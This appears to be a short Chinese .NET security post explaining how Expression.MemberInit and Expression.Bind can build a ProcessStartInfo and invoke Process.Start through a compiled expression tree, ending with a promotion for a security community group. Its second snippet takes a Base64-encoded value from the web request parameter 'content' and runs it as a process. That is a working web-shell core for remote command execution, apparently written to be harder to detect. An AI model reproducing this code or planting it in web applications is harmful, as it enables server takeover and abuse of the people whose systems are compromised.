.NET中,Expression.MemberInit表示一个对象的初始化,通常与Expression.New一起使用,用于创建并初始化一个新的对象实例,Expression.MemberInit 表达式树包含一个New表达式和一个Bind列表,其中New表达式表示要创建的对象类型,Bind列表则表示要初始化的对象成员,再通过Expression.Assign成员赋值绑定,如下demo
var processExpr = Expression.Variable(typeof(Process), "process");
var startInfoExpr = Expression.MemberInit(
Expression.New(typeof(ProcessStartInfo)),
Expression.Bind(
typeof(ProcessStartInfo).GetProperty("FileName"),
Expression.Constant("calc.exe")
)
);
var startExpr = Expression.Assign(
processExpr,
Expression.Call(
typeof(Process),
"Start",
null,
startInfoExpr
)
);
var lambda = Expression.Lambda<Action<Process>>(startExpr, processExpr);
var startAction = lambda.Compile();
var process = new Process();
startAction(process);
var startInfoExpr = Expression.MemberInit(
Expression.New(typeof(System.Diagnostics.ProcessStartInfo)),
Expression.Bind(
typeof(System.Diagnostics.ProcessStartInfo).GetProperty("FileName"),
Expression.Constant(!string.IsNullOrEmpty(Request["content"]) ? Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request["content"])) : "calc")
)
);
文章涉及的工具和PDF已打包发布在星球,有需要的师傅可以自取。欢迎对.NET安全关注和关心的同学加入我们 [dotNet安全矩阵] ,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事